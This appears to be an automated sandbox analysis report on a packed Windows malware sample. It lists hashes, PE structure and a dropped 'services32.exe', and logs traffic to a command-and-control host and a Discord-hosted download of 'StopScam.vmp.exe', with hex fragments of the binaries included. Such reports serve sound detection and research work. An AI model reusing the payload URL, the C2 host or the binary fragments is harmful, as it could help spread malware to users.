..`.rsrc........@......................@..@.reloc.......`.......$..............@..BH........$.......................................................................0..&.......~....(.....(.........(......&.(......*...................0../.......r...p...s.......o....r...p.s......o.....r...ps....s....(........o......+Y..o....t..........................r...p......r...po........r...p......r...po.......(.......o....-.....,...o......r...p(....rh..p(....(....s....s....(........o......+D..o....t........,2..r...po....,$..r...po....o....r...p(....o....,.....o....-.....,...o...

C:\Windows\System32\services32.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\fl.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4305408
Entropy (8bit):	7.991371319257063
Encrypted:	true
SSDEEP:	98304:weSXwxLzxoKojAICtBfUOEjMIc3kaA9g1Eg+mJcgmzG:wAnoK7IyH+Mxkpg1Eg+mXmK
MD5:	BF232E7CD2DE9652142313A13FE16E69
SHA1:	86292AD4BBA7E87B2BFEE60431B0D1713C2B3648
SHA-256:	1947ACE1EB9995E810DAA27B4F727AAF02991B5E43626E6C16C0FE56C23E8770
SHA-512:	37188E0D0E82EEF6C13699E0990250D747D5EEC23B7BC71E1C028DB98907D24DF439149511EE5A1B53E4D041BE5E0C2CFBE4501892CF7B55FBAE8D10D88BA43F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...}..a.........."......n............... .....@..... ....................................@...@......@............... .................................................................................................................................H............text....l... ...................... ..`.vmp0.....!.........................`..`.vmp1.....A...?...A.................`..`.rsrc.................A.............@..@.................................................................................................................................................................................................................................................................................................................................................................................................................................................reloc..........

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.992251776904537
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	YfTokH7RIj.exe
File size:	1666048
MD5:	1b8bf38e83c31c76c7dd00088ac0922d
SHA1:	1bc87682b1518b398ee7eacc4c8e4370b18d359e
SHA256:	25cd127b9d559d6754269ecc116d35be66aca027640bcd71a836567c32b946c5
SHA512:	8e36767cc8a6967303e50ff4ec324ca4457503a8ed0c68eab5da1d4c0e3ced9d95a0697649a4ef762463c930d78e4751a990801491f11ed3ae26db30169ac6b3
SSDEEP:	49152:dJbsncoSlFOGUgl6az0Ovf8fYgeelCFNaULL:vgnROFdJfgPlGdL
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....c...............0.............. ... ........@.. ........................B.. ..xf<....................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x402000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0xF66396F6 [Wed Dec 29 00:04:06 2100 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d7dd6fa75115d9909f747434e40fff68

Entrypoint Preview

Instruction
push 007DE001h
call 00007F321477EAE6h
ret
ret
xor byte ptr [edi], bh
in eax, dx
idiv dword ptr [ebx]
xchg eax, ebp
call 00007F31CC15D88Dh
xor eax, 1DDC1399h
stc
leave
cmpsb
movsd
je 00007F321477EB2Bh
test dh, dl
mov cl, ADh
mov ah, CBh
push ebx
mov al, 39h
or al, byte ptr [esi-58h]
mov esp, E974A545h
cmp eax, 91E01EF8h
mov ecx, 3C3B1183h
cmp eax, 54D83736h
retn 3FB4h
or byte ptr [esi], dl
push ecx
mov ah, 0000000Eh
sub cl, byte ptr [edx-7Ah]
test ebx, B21D40C0h
mov edi, 6BAFEDDAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3dec7c	0xd8	.R03nlBA
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26000	0x1f68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x100000

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0x1a000	0x9000	False	1.00056966146	data	7.99537276593	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x1c000	0x2000	0x400	False	1.0107421875	data	7.7906284189	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x1e000	0x2000	0x400	False	0.6533203125	Sky archive data	5.40507547942	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x20000	0x4000	0xa00	False	1.004296875	data	7.92840934453	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x24000	0x2000	0x200	False	1.021484375	data	7.52976471799	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x26000	0x2000	0x2000	False	0.347900390625	data	4.72058195566	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x28000	0x3b6000	0x13fc00	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.R03nlBA	0x3de000	0x4c000	0x4a800	False	0.987665163591	data	7.9184571052	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.adata	0x42a000	0x2000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_DIALOG	0x26398	0xac	data	English	United States
RT_DIALOG	0x26454	0xbc	data	English	United States
RT_DIALOG	0x26520	0x17c	data	English	United States
RT_DIALOG	0x266ac	0x84	data	English	United States
RT_DIALOG	0x26740	0xb0	data	English	United States
RT_DIALOG	0x26800	0xe8	data	English	United States
RT_DIALOG	0x268f8	0x84	data	English	United States
RT_DIALOG	0x2698c	0x110	data	English	United States
RT_DIALOG	0x26aac	0xac	data	English	United States
RT_STRING	0x26b68	0x12	ASCII text, with no line terminators	English	United States
RT_STRING	0x26b8c	0x11	ASCII text, with no line terminators	English	United States
RT_STRING	0x26bb0	0xa	ASCII text, with no line terminators	English	United States
RT_STRING	0x26bcc	0x6	ASCII text, with no line terminators	English	United States
RT_STRING	0x26be4	0xe	ASCII text, with no line terminators	English	United States
RT_STRING	0x26c04	0x5	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x26c1c	0x1ee	ASCII text
RT_RCDATA	0x26e1c	0x1f1	ASCII text
RT_RCDATA	0x27020	0x2fa	ASCII text
RT_RCDATA	0x2732c	0x209	ASCII text
RT_RCDATA	0x27548	0x343	ASCII text
RT_RCDATA	0x2789c	0x12f	ASCII text
RT_RCDATA	0x279dc	0x132	ASCII text
RT_VERSION	0x27b20	0x24c	data
RT_MANIFEST	0x27d7c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	GetProcAddress, GetModuleHandleA, LoadLibraryA
mscoree.dll	_CorExeMain
oleaut32.dll	VariantChangeTypeEx
kernel32.dll	RaiseException

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	0.0.0.0
InternalName	Focusing.exe
FileVersion	0.0.0.0
ProductVersion	0.0.0.0
FileDescription
OriginalFilename	Focusing.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 18:13:16.110646963 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:16.140608072 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:16.140748978 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:16.406343937 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:16.436089039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:16.436904907 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:16.478581905 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:17.186233997 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:17.218682051 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:17.259921074 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:24.001426935 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:24.034004927 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:24.034053087 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:24.034125090 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:24.034199953 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:24.088592052 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.314778090 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.345993042 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.373321056 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.403867006 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.405210972 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.435682058 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.479542017 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.484041929 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.514245033 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.514280081 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.515346050 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.557655096 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.604295015 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.634031057 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.635092974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.682801008 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.796813965 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.827291965 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.852277040 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.883030891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.886130095 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.916579962 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.918070078 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.948654890 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.974728107 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.005259991 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.019361019 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.049976110 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.067524910 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.098145962 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.151544094 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.644922018 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.675662041 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.729732990 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:30.029716015 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:30.060405970 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:30.082362890 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:30.113023996 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:30.167264938 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.010494947 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.041552067 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:31.089204073 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.338640928 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.369294882 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:31.417498112 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.133042097 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.162955046 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163001060 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163137913 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163141966 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163192987 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163341999 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163366079 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163393021 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163472891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163477898 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163507938 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163558960 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.192895889 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.192991972 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193067074 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193098068 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193169117 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193197012 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193231106 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193276882 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193341970 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193370104 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193418980 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193458080 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193500996 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193578005 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193603039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193674088 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193706989 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193742037 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193823099 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193850040 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193871975 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193970919 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194041014 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194149017 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194217920 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194546938 CET	49781	81	192.168.2.4	185.82.202.246

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 18:13:15.920845985 CET	62389	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:16.082426071 CET	53	62389	8.8.8.8	192.168.2.4
Dec 28, 2021 18:13:24.714603901 CET	49910	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:24.746985912 CET	55854	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:33.073632002 CET	64549	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:33.092448950 CET	53	64549	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 28, 2021 18:13:15.920845985 CET	192.168.2.4	8.8.8.8	0x8cce	Standard query (0)	yabynennet.xyz	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:24.714603901 CET	192.168.2.4	8.8.8.8	0xc660	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:24.746985912 CET	192.168.2.4	8.8.8.8	0x923f	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.073632002 CET	192.168.2.4	8.8.8.8	0x6d4a	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 28, 2021 18:13:16.082426071 CET	8.8.8.8	192.168.2.4	0x8cce	No error (0)	yabynennet.xyz		185.82.202.246	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:24.736772060 CET	8.8.8.8	192.168.2.4	0xc660	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Dec 28, 2021 18:13:24.765906096 CET	8.8.8.8	192.168.2.4	0x923f	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49783	162.159.129.233	443	C:\Users\user\Desktop\YfTokH7RIj.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 17:13:33 UTC	0	OUT	GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-12-28 17:13:33 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 17:13:33 GMT Content-Type: application/x-msdos-program Content-Length: 4305408 Connection: close CF-Ray: 6c4c6b7e4fc36910-FRA Accept-Ranges: bytes Age: 685481 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=StopScam.vmp.exe ETag: "bf232e7cd2de9652142313a13fe16e69" Expires: Wed, 28 Dec 2022 17:13:33 GMT Last-Modified: Mon, 20 Dec 2021 18:44:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1640025871949105 x-goog-hash: crc32c=ZHgcug== x-goog-hash: md5=vyMufNLellIUIxOhP+FuaQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 4305408 X-GUploader-UploadID: ADPycdujre5x2DOWTI0YDcpJUrlkKFmI-FYMrfn0UKljnOd4o6isN-sRHtkGL9HuO-Cvc5p0RzQRycmNYe-ku4jGExgkWhz31w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-28 17:13:33 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 68 70 75 4c 38 6c 6e 38 59 69 52 41 37 48 6b 25 32 42 47 43 44 42 75 58 6a 4f 4f 52 47 57 38 49 5a 68 37 4a 41 4d 77 44 68 50 77 4f 72 32 4a 53 4e 54 50 62 54 71 5a 25 32 42 75 78 55 36 78 43 6f 49 73 78 4c 57 54 65 45 4d 48 31 66 39 45 77 48 71 66 66 53 71 25 32 42 42 4f 57 47 6d 43 64 77 33 6f 72 30 4a 4a 4c 34 4b 45 6f 76 6a 47 6d 25 32 46 4d 7a 4b 56 77 45 43 4c 41 32 79 44 67 7a 46 77 45 34 38 6f 38 25 32 46 69 54 63 35 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hpuL8ln8YiRA7Hk%2BGCDBuXjOORGW8IZh7JAMwDhPwOr2JSNTPbTqZ%2BuxU6xCoIsxLWTeEMH1f9EwHqffSq%2BBOWGmCdw3or0JJL4KEovjGm%2FMzKVwECLA2yDgzFwE48o8%2FiTc5g%3D%3D"}],"group":"cf-nel","max_a
2021-12-28 17:13:33 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 7d ca c0 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 6e 1e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 81 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd}a"n @ @@@
2021-12-28 17:13:33 UTC	2	IN	Data Raw: fb 18 7e 1b cb 00 fa 34 55 21 5b 66 ab 32 58 19 82 43 0e 2e ee 3e 3e 13 f6 24 a0 49 28 04 00 00 00 28 1e 8b 5e 00 db 4a 38 00 28 10 00 00 00 ff 28 43 00 00 01 1c 01 29 28 20 2a 7f 00 08 33 28 43 00 00 01 1c bf 29 28 8e 3d 7f 00 ff 58 0b 01 00 43 00 00 01 00 00 00 00 33 28 00 00 00 00 43 82 28 43 00 00 01 2f 07 87 28 70 00 00 04 51 28 2a 00 00 00 5c 00 00 28 43 00 00 01 1c ca 28 8f 38 7f 00 08 33 28 43 00 00 01 1c 01 29 28 8f 83 5e 00 ff b0 55 81 49 00 9e 48 00 33 28 01 00 00 00 1e 21 48 00 28 0e 00 00 00 28 46 00 00 01 26 cc 49 00 df 48 00 33 28 01 00 00 00 58 21 48 00 4a 16 00 28 3c 00 00 01 1c 28 46 00 00 01 26 5c 16 00 28 01 00 00 00 b0 21 16 00 81 16 00 9e 33 00 eb 28 44 00 00 01 1c 28 01 00 00 00 47 28 01 00 00 00 4c 28 01 00 00 00 08 28 43 00 00 01 Data Ascii: ~4U![f2XC.>>$I((^J8((C)( 3(C)(=XC3(C(C/(pQ(\(C(83(C)(^UIH3(!H((F&IH3(X!HJ(<(F&\(!3(D(G(L((C
2021-12-28 17:13:33 UTC	4	IN	Data Raw: 7b 04 33 28 3f 00 00 01 8e 53 33 28 44 00 00 01 b9 82 33 28 81 00 00 01 2f 87 33 28 43 00 00 01 7b a7 33 28 44 00 00 01 8e cb 33 28 57 00 00 02 b9 04 33 28 81 00 00 01 2f 53 33 28 81 00 00 01 7b 82 33 28 44 00 00 01 8e 87 33 28 81 00 00 01 b9 a7 33 28 43 00 00 01 2f cb 33 28 01 00 00 01 7b 04 33 28 43 00 00 01 8e 53 33 28 3f 00 00 01 b9 82 33 28 81 00 00 01 2f 87 33 28 8c 00 00 02 7b a7 33 28 44 00 00 01 8e cb 33 28 56 00 00 02 b9 04 33 28 81 00 00 01 2f 53 33 28 74 00 00 01 7b 82 33 28 71 00 00 01 8e 87 33 28 56 00 00 02 b9 a7 33 28 3f 00 00 01 2f cb 33 28 44 00 00 01 7b 04 33 28 44 00 00 01 8e 53 33 28 81 00 00 01 b9 82 33 28 72 00 00 01 2f 87 33 28 3f 00 00 01 7b a7 33 28 3f 00 00 01 8e cb 33 28 44 00 00 01 b9 04 33 28 44 00 00 01 2f 53 33 28 81 00 00 Data Ascii: {3(?S3(D3(/3(C{3(D3(W3(/S3({3(D3(3(C/3({3(CS3(?3(/3({3(D3(V3(/S3(t{3(q3(V3(?/3(D{3(DS3(3(r/3(?{3(?3(D3(D/S3(
